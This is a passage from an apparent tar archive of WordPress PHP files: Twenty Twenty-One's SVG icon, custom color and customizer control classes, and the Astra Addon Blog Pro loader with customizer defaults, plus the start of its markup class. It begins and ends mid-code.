c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path></svg>', 'vk' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path></svg>', 'wordpress' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path></svg>', 'yelp' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path></svg>', 'youtube' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path></svg>', ); /** * Social Icons – domain mappings. * * By default, each Icon ID is matched against a .com TLD. To override this behavior, * specify all the domains it covers (including the .com TLD too, if applicable). * * @since Twenty Twenty-One 1.0 * * @var array */ protected static $social_icons_map = array( 'amazon' => array( 'amazon.com', 'amazon.cn', 'amazon.in', 'amazon.fr', 'amazon.de', 'amazon.it', 'amazon.nl', 'amazon.es', 'amazon.co', 'amazon.ca', ), 'behance' => array( 'behance.net', ), 'codepen' => array( 'codepen.io', ), 'facebook' => array( 'facebook.com', 'fb.me', ), 'feed' => array( 'feed', ), 'lastfm' => array( 'last.fm', ), 'mail' => array( 'mailto:', ), 'pocket' => array( 'getpocket.com', ), 'twitch' => array( 'twitch.tv', ), 'wordpress' => array( 'wordpress.com', 'wordpress.org', ), ); /** * Gets the SVG code for a given icon. * * @static * * @since Twenty Twenty-One 1.0 * * @param string $group The icon group. * @param string $icon The icon. * @param int $size The icon-size in pixels. * @return string */ public static function get_svg( $group, $icon, $size ) { if ( 'ui' === $group ) { $arr = self::$icons; } elseif ( 'social' === $group ) { $arr = self::$social_icons; } else { $arr = array(); } /** * Filters Twenty Twenty-Ones's array of icons. * * The dynamic portion of the hook name, `$group`, refers to * the name of the group of icons, either "ui" or "social". * * @since Twenty Twenty-One 1.0 * * @param array $arr Array of icons. */ $arr = apply_filters( "twenty_twenty_one_svg_icons_{$group}", $arr ); $svg = ''; if ( array_key_exists( $icon, $arr ) ) { $repl = sprintf( '<svg class="svg-icon" width="%d" height="%d" aria-hidden="true" role="img" focusable="false" ', $size, $size ); $svg = preg_replace( '/^<svg /', $repl, trim( $arr[ $icon ] ) ); // Add extra attributes to SVG code. } // @phpstan-ignore-next-line. return $svg; } /** * Detects the social network from a URL and returns the SVG code for its icon. * * @static * * @since Twenty Twenty-One 1.0 * * @param string $uri Social link. * @param int $size The icon-size in pixels. * @return string|null */ public static function get_social_link_svg( $uri, $size ) { static $regex_map; // Only compute regex map once, for performance. if ( ! isset( $regex_map ) ) { $regex_map = array(); /** * Filters Twenty Twenty-Ones's array of domain mappings for social icons. * * By default, each Icon ID is matched against a .com TLD. To override this behavior, * specify all the domains it covers (including the .com TLD too, if applicable). * * @since Twenty Twenty-One 1.0 * * @param array $social_icons_map Array of default social icons. */ $map = apply_filters( 'twenty_twenty_one_social_icons_map', self::$social_icons_map ); /** * Filters Twenty Twenty-One's array of social icons. * * @since Twenty Twenty-One 1.0 * * @param array $social_icons Array of default social icons. */ $social_icons = apply_filters( 'twenty_twenty_one_svg_icons_social', self::$social_icons ); foreach ( array_keys( $social_icons ) as $icon ) { $domains = array_key_exists( $icon, $map ) ? $map[ $icon ] : array( sprintf( '%s.com', $icon ) ); $domains = array_map( 'trim', $domains ); // Remove leading/trailing spaces, to prevent regex from failing to match. $domains = array_map( 'preg_quote', $domains ); $regex_map[ $icon ] = sprintf( '/(%s)/i', implode( '|', $domains ) ); } } foreach ( $regex_map as $icon => $regex ) { if ( preg_match( $regex, $uri ) ) { return self::get_svg( 'social', $icon, $size ) . '<span class="screen-reader-text">'; } } return null; } } class-twenty-twenty-one-custom-colors.php 0000666 00000011664 15165375754 0014666 0 ustar 00 <?php /** * Custom Colors Class * * @package WordPress * @subpackage Twenty_Twenty_One * @since Twenty Twenty-One 1.0 */ /** * This class is in charge of color customization via the Customizer. */ class Twenty_Twenty_One_Custom_Colors { /** * Instantiate the object. * * @since Twenty Twenty-One 1.0 */ public function __construct() { // Enqueue color variables for customizer & frontend. add_action( 'wp_enqueue_scripts', array( $this, 'custom_color_variables' ) ); // Enqueue color variables for editor. add_action( 'enqueue_block_editor_assets', array( $this, 'editor_custom_color_variables' ) ); // Add body-class if needed. add_filter( 'body_class', array( $this, 'body_class' ) ); } /** * Determine the luminance of the given color and then return #fff or #000 so that the text is always readable. * * @since Twenty Twenty-One 1.0 * * @param string $background_color The background color. * @return string (hex color) */ public function custom_get_readable_color( $background_color ) { return ( 127 < self::get_relative_luminance_from_hex( $background_color ) ) ? '#000' : '#fff'; } /** * Generate color variables. * * Adjust the color value of the CSS variables depending on the background color theme mod. * Both text and link colors needs to be updated. * The code below needs to be updated, because the colors are no longer theme mods. * * @since Twenty Twenty-One 1.0 * * @param string|null $context Can be "editor" or null. * @return string */ public function generate_custom_color_variables( $context = null ) { $theme_css = 'editor' === $context ? ':root .editor-styles-wrapper{' : ':root{'; $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); if ( 'd1e4dd' !== strtolower( $background_color ) ) { $theme_css .= '--global--color-background: #' . $background_color . ';'; $theme_css .= '--global--color-primary: ' . $this->custom_get_readable_color( $background_color ) . ';'; $theme_css .= '--global--color-secondary: ' . $this->custom_get_readable_color( $background_color ) . ';'; $theme_css .= '--button--color-background: ' . $this->custom_get_readable_color( $background_color ) . ';'; $theme_css .= '--button--color-text-hover: ' . $this->custom_get_readable_color( $background_color ) . ';'; if ( '#fff' === $this->custom_get_readable_color( $background_color ) ) { $theme_css .= '--table--stripes-border-color: rgba(240, 240, 240, 0.15);'; $theme_css .= '--table--stripes-background-color: rgba(240, 240, 240, 0.15);'; } } $theme_css .= '}'; return $theme_css; } /** * Customizer & frontend custom color variables. * * @since Twenty Twenty-One 1.0 * * @return void */ public function custom_color_variables() { if ( 'd1e4dd' !== strtolower( get_theme_mod( 'background_color', 'D1E4DD' ) ) ) { wp_add_inline_style( 'twenty-twenty-one-style', $this->generate_custom_color_variables() ); } } /** * Editor custom color variables. * * @since Twenty Twenty-One 1.0 * * @return void */ public function editor_custom_color_variables() { wp_enqueue_style( 'twenty-twenty-one-custom-color-overrides', get_theme_file_uri( 'assets/css/custom-color-overrides.css' ), array(), wp_get_theme()->get( 'Version' ) ); $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); if ( 'd1e4dd' !== strtolower( $background_color ) ) { wp_add_inline_style( 'twenty-twenty-one-custom-color-overrides', $this->generate_custom_color_variables( 'editor' ) ); } } /** * Get luminance from a HEX color. * * @static * * @since Twenty Twenty-One 1.0 * * @param string $hex The HEX color. * @return int Returns a number (0-255). */ public static function get_relative_luminance_from_hex( $hex ) { // Remove the "#" symbol from the beginning of the color. $hex = ltrim( $hex, '#' ); // Make sure there are 6 digits for the below calculations. if ( 3 === strlen( $hex ) ) { $hex = substr( $hex, 0, 1 ) . substr( $hex, 0, 1 ) . substr( $hex, 1, 1 ) . substr( $hex, 1, 1 ) . substr( $hex, 2, 1 ) . substr( $hex, 2, 1 ); } // Get red, green, blue. $red = hexdec( substr( $hex, 0, 2 ) ); $green = hexdec( substr( $hex, 2, 2 ) ); $blue = hexdec( substr( $hex, 4, 2 ) ); // Calculate the luminance. $lum = ( 0.2126 * $red ) + ( 0.7152 * $green ) + ( 0.0722 * $blue ); return (int) round( $lum ); } /** * Adds a class to <body> if the background-color is dark. * * @since Twenty Twenty-One 1.0 * * @param array $classes The existing body classes. * @return array */ public function body_class( $classes ) { $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); $luminance = self::get_relative_luminance_from_hex( $background_color ); if ( 127 > $luminance ) { $classes[] = 'is-dark-theme'; } else { $classes[] = 'is-light-theme'; } if ( 225 <= $luminance ) { $classes[] = 'has-background-white'; } return $classes; } } class-twenty-twenty-one-customize-notice-control.php 0000666 00000002115 15165375754 0017023 0 ustar 00 <?php /** * Customize API: Twenty_Twenty_One_Customize_Notice_Control class * * @package WordPress * @subpackage Twenty_Twenty_One * @since Twenty Twenty-One 1.0 */ /** * Customize Notice Control class. * * @since Twenty Twenty-One 1.0 * * @see WP_Customize_Control */ class Twenty_Twenty_One_Customize_Notice_Control extends WP_Customize_Control { /** * The control type. * * @since Twenty Twenty-One 1.0 * * @var string */ public $type = 'twenty-twenty-one-notice'; /** * Renders the control content. * * This simply prints the notice we need. * * @since Twenty Twenty-One 1.0 * * @return void */ public function render_content() { ?> <div class="notice notice-warning"> <p><?php esc_html_e( 'To access the Dark Mode settings, select a light background color.', 'twentytwentyone' ); ?></p> <p><a href="<?php echo esc_url( __( 'https://wordpress.org/support/article/twenty-twenty-one/#dark-mode-support', 'twentytwentyone' ) ); ?>"> <?php esc_html_e( 'Learn more about Dark Mode.', 'twentytwentyone' ); ?> </a></p> </div> <?php } } class-twenty-twenty-one-customize-color-control.php 0000666 00000002434 15165375754 0016664 0 ustar 00 <?php /** * Customize API: WP_Customize_Color_Control class * * @package WordPress * @subpackage Twenty_Twenty_One * @since Twenty Twenty-One 1.0 */ /** * Customize Color Control class. * * @since Twenty Twenty-One 1.0 * * @see WP_Customize_Control */ class Twenty_Twenty_One_Customize_Color_Control extends WP_Customize_Color_Control { /** * The control type. * * @since Twenty Twenty-One 1.0 * * @var string */ public $type = 'twenty-twenty-one-color'; /** * Colorpicker palette * * @since Twenty Twenty-One 1.0 * * @var array */ public $palette; /** * Enqueue control related scripts/styles. * * @since Twenty Twenty-One 1.0 * * @return void */ public function enqueue() { parent::enqueue(); // Enqueue the script. wp_enqueue_script( 'twentytwentyone-control-color', get_theme_file_uri( 'assets/js/palette-colorpicker.js' ), array( 'customize-controls', 'jquery', 'customize-base', 'wp-color-picker' ), wp_get_theme()->get( 'Version' ), false ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since Twenty Twenty-One 1.0 * * @uses WP_Customize_Control::to_json() * * @return void */ public function to_json() { parent::to_json(); $this->json['palette'] = $this->palette; } } class-astra-ext-blog-pro-loader.php 0000666 00000025373 15165400142 0013267 0 ustar 00 <?php /** * Blog Pro - Customizer. * * @package Astra Addon * @since 1.0.0 */ if ( ! class_exists( 'Astra_Ext_Blog_Pro_Loader' ) ) { /** * Customizer Initialization * * @since 1.0.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Blog_Pro_Loader { // @codingStandardsIgnoreEnd /** * Member Variable * * @var instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { add_action( 'customize_preview_init', array( $this, 'preview_scripts' ) ); } add_action( 'customize_register', array( $this, 'new_customize_register' ), 2 ); } /** * Set Options Default Values * * @param array $defaults Astra options default value array. * @return array */ public function theme_defaults( $defaults ) { // Blog / Archive. $defaults['blog-masonry'] = false; $defaults['blog-date-box'] = false; $defaults['blog-date-box-style'] = 'square'; $defaults['first-post-full-width'] = false; $defaults['blog-space-bet-posts'] = false; $defaults['blog-grid'] = 1; $defaults['blog-grid-layout'] = 1; $defaults['blog-layout'] = 'blog-layout-1'; $defaults['blog-pagination'] = 'number'; $defaults['blog-pagination-style'] = 'default'; $defaults['blog-infinite-scroll-event'] = 'scroll'; $defaults['blog-excerpt-count'] = 55; $defaults['blog-read-more-text'] = __( 'Read More »', 'astra-addon' ); $defaults['blog-read-more-as-button'] = false; $defaults['blog-load-more-text'] = __( 'Load More', 'astra-addon' ); $defaults['blog-featured-image-padding'] = false; // Single. $defaults['ast-author-info'] = false; $defaults['ast-single-post-navigation'] = false; $defaults['ast-auto-prev-post'] = false; $defaults['single-featured-image-padding'] = false; $defaults['single-post-social-sharing-icon-enable'] = false; $defaults['single-post-social-sharing-heading-enable'] = false; $defaults['single-post-social-sharing-heading-position'] = 'above'; $defaults['single-post-social-sharing-heading-text'] = __( 'Share your love', 'astra-addon' ); $defaults['single-post-social-sharing-heading-position'] = 'above'; $defaults['single-post-social-sharing-icon-list'] = array( 'items' => array( array( 'id' => 'facebook', 'enabled' => true, 'source' => 'icon', 'url' => '', 'color' => '#557dbc', 'background' => 'transparent', 'icon' => 'facebook', 'label' => __( 'Facebook', 'astra-addon' ), ), array( 'id' => 'twitter', 'enabled' => true, 'source' => 'icon', 'url' => '', 'color' => '#7acdee', 'background' => 'transparent', 'icon' => 'twitter', 'label' => __( 'Twitter', 'astra-addon' ), ), array( 'id' => 'pinterest', 'enabled' => true, 'source' => 'icon', 'url' => '', 'color' => '#E60023', 'background' => 'transparent', 'icon' => 'pinterest', 'label' => __( 'Pinterest', 'astra-addon' ), ), array( 'id' => 'linkedin', 'enabled' => true, 'source' => 'icon', 'url' => '', 'color' => '#1c86c6', 'background' => 'transparent', 'icon' => 'linkedin', 'label' => __( 'Linkedin', 'astra-addon' ), ), ), ); $defaults['single-post-social-sharing-icon-label'] = false; $defaults['single-post-social-sharing-icon-label-position'] = 'below'; $defaults['single-post-social-sharing-icon-position'] = 'below-post-title'; $defaults['single-post-social-sharing-alignment'] = 'left'; $defaults['single-post-social-sharing-icon-color-type'] = 'official'; $defaults['single-post-social-sharing-icon-color'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['single-post-social-sharing-icon-h-color'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['single-post-social-sharing-icon-label-color'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['single-post-social-sharing-icon-label-h-color'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['single-post-social-sharing-icon-background-color'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['single-post-social-sharing-icon-background-h-color'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['above-header-link-h-color-responsive'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['single-post-social-sharing-icon-spacing'] = array( 'desktop' => '20', 'tablet' => '20', 'mobile' => '20', ); $defaults['single-post-social-sharing-icon-background-spacing'] = array( 'desktop' => '0', 'tablet' => '0', 'mobile' => '0', ); $defaults['single-post-social-sharing-icon-size'] = array( 'desktop' => '30', 'tablet' => '30', 'mobile' => '30', ); $defaults['single-post-social-sharing-icon-radius'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['single-post-social-sharing-margin'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'em', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); $defaults['single-post-social-sharing-background-color'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults['single-post-social-sharing-padding'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'em', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); $defaults['single-post-social-sharing-border-radius'] = array( 'desktop' => array( 'top_left' => '', 'top_right' => '', 'bottom_right' => '', 'bottom_left' => '', ), 'tablet' => array( 'top_left' => '', 'top_right' => '', 'bottom_right' => '', 'bottom_left' => '', ), 'mobile' => array( 'top_left' => '', 'top_right' => '', 'bottom_right' => '', 'bottom_left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['single-post-social-sharing-heading-font-family'] = 'inherit'; $defaults['single-post-social-sharing-heading-font-weight'] = 'inherit'; $defaults['single-post-social-sharing-heading-font-size'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['single-post-social-sharing-heading-font-extras'] = array( 'line-height' => '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => '', 'text-decoration' => '', ); // Social Heading. $defaults['single-post-social-sharing-icon-label-font-family'] = 'inherit'; $defaults['single-post-social-sharing-icon-label-font-weight'] = 'inherit'; $defaults['single-post-social-sharing-icon-label-font-size'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['single-post-social-sharing-icon-label-font-extras'] = array( 'line-height' => '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => '', 'text-decoration' => '', ); // Blog Archive Images size. $defaults['blog-archive-image-width'] = false; $defaults['blog-archive-image-height'] = false; // Blog Single Images size. $defaults['blog-single-post-image-width'] = false; $defaults['blog-single-post-image-height'] = false; return $defaults; } /** * Register panel, section and controls * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function new_customize_register( $wp_customize ) { /** * Sections */ require_once ASTRA_ADDON_EXT_BLOG_PRO_DIR . 'classes/sections/class-astra-customizer-blog-pro-configs.php'; require_once ASTRA_ADDON_EXT_BLOG_PRO_DIR . 'classes/sections/class-astra-customizer-blog-pro-single-configs.php'; } /** * Customizer Preview */ public function preview_scripts() { wp_enqueue_script( 'astra-blog-customizer-preview-js', ASTRA_ADDON_EXT_BLOG_PRO_URI . 'assets/js/unminified/customizer-preview.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_EXT_VER, true ); $localize_array = array( 'tablet_break_point' => astra_addon_get_tablet_breakpoint(), 'mobile_break_point' => astra_addon_get_mobile_breakpoint(), 'rtl' => is_rtl(), 'soc_position' => astra_get_option( 'single-post-social-sharing-icon-position' ), ); wp_localize_script( 'astra-blog-customizer-preview-js', 'AstraAddon', $localize_array ); } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Ext_Blog_Pro_Loader::get_instance(); class-astra-ext-blog-pro-markup.php 0000666 00000076350 15165400142 0013321 0 ustar 00 <?php /** * Blog Pro Markup * * @package Astra Addon */ if ( ! class_exists( 'Astra_Ext_Blog_Pro_Markup' ) ) { /** * Blog Pro Markup Initial Setup * * @since 1.0.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Blog_Pro_Markup { // @codingStandardsIgnoreEnd /** * Member Variable * * @var object instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'body_class', array( $this, 'astra_ext_blog_pro_body_classes' ) ); add_filter( 'post_class', array( $this, 'astra_post_class_blog_grid' ) ); add_filter( 'astra_primary_class', array( $this, 'astra_primary_class_blog_grid' ) ); add_filter( 'astra_blog_layout_class', array( $this, 'add_blog_layout_class' ) ); add_action( 'astra_addon_get_js_files', array( $this, 'add_scripts' ) ); add_action( 'astra_addon_get_css_files', array( $this, 'add_styles' ), 1 ); add_action( 'wp_head', array( $this, 'blog_customization' ) ); add_filter( 'astra_blog_post_featured_image_after', array( $this, 'date_box' ), 10, 1 ); add_filter( 'astra_related_post_featured_image_after', array( $this, 'date_box' ), 10, 1 ); add_action( 'astra_entry_after', array( $this, 'author_info_markup' ), 9 ); add_action( 'astra_entry_after', array( $this, 'single_post_navigation_markup' ), 9 ); add_filter( 'astra_theme_js_localize', array( $this, 'blog_js_localize' ) ); add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_frontend_scripts' ) ); // Blog Pagination. add_filter( 'astra_pagination_markup', array( $this, 'astra_blog_pagination' ) ); add_filter( 'astra_meta_case_read-time', array( $this, 'reading_time_content' ), 10, 3 ); add_action( 'init', array( $this, 'init_action' ) ); // Load Google fonts. add_action( 'astra_get_fonts', array( $this, 'add_fonts' ), 1 ); // Social Sharing. add_action( 'wp', array( $this, 'astra_social_sharing' ) ); } /** * Infinite Posts Show on scroll * * @since 1.0 * @param array $localize JS localize variables. * @return array */ public function blog_js_localize( $localize ) { global $wp_query; $pagination_enabled = apply_filters( 'astra_pagination_enabled', true ); $blog_masonry = astra_get_option( 'blog-masonry' ); $blog_pagination = ( $pagination_enabled ) ? astra_get_option( 'blog-pagination' ) : ''; $blog_infinite_scroll_event = astra_get_option( 'blog-infinite-scroll-event' ); $blog_grid = astra_get_option( 'blog-grid' ); $blog_grid_layout = astra_get_option( 'blog-grid-layout' ); $blog_layout = astra_get_option( 'blog-layout' ); $grid_layout = ( 'blog-layout-1' == $blog_layout ) ? $blog_grid : $blog_grid_layout; $localize['edit_post_url'] = admin_url( 'post.php?post={{id}}&action=edit' ); $localize['ajax_url'] = admin_url( 'admin-ajax.php' ); $localize['infinite_count'] = 2; $localize['infinite_total'] = $wp_query->max_num_pages; $localize['pagination'] = $blog_pagination; $localize['infinite_scroll_event'] = $blog_infinite_scroll_event; $localize['no_more_post_message'] = apply_filters( 'astra_blog_no_more_post_text', __( 'No more posts to show.', 'astra-addon' ) ); $localize['grid_layout'] = $grid_layout; $localize['site_url'] = get_site_url(); $localize['show_comments'] = __( 'Show Comments', 'astra-addon' ); // If woocommerce page template. if ( function_exists( 'is_woocommerce' ) && is_woocommerce() ) { $localize['masonryEnabled'] = false; } else { $localize['masonryEnabled'] = $blog_masonry; $localize['blogMasonryBreakPoint'] = absint( apply_filters( 'astra_blog_masonry_break_point', astra_addon_get_tablet_breakpoint() ) ); } return $localize; } /** * Astra Blog Pagination * * @since 1.0 * @param html $output 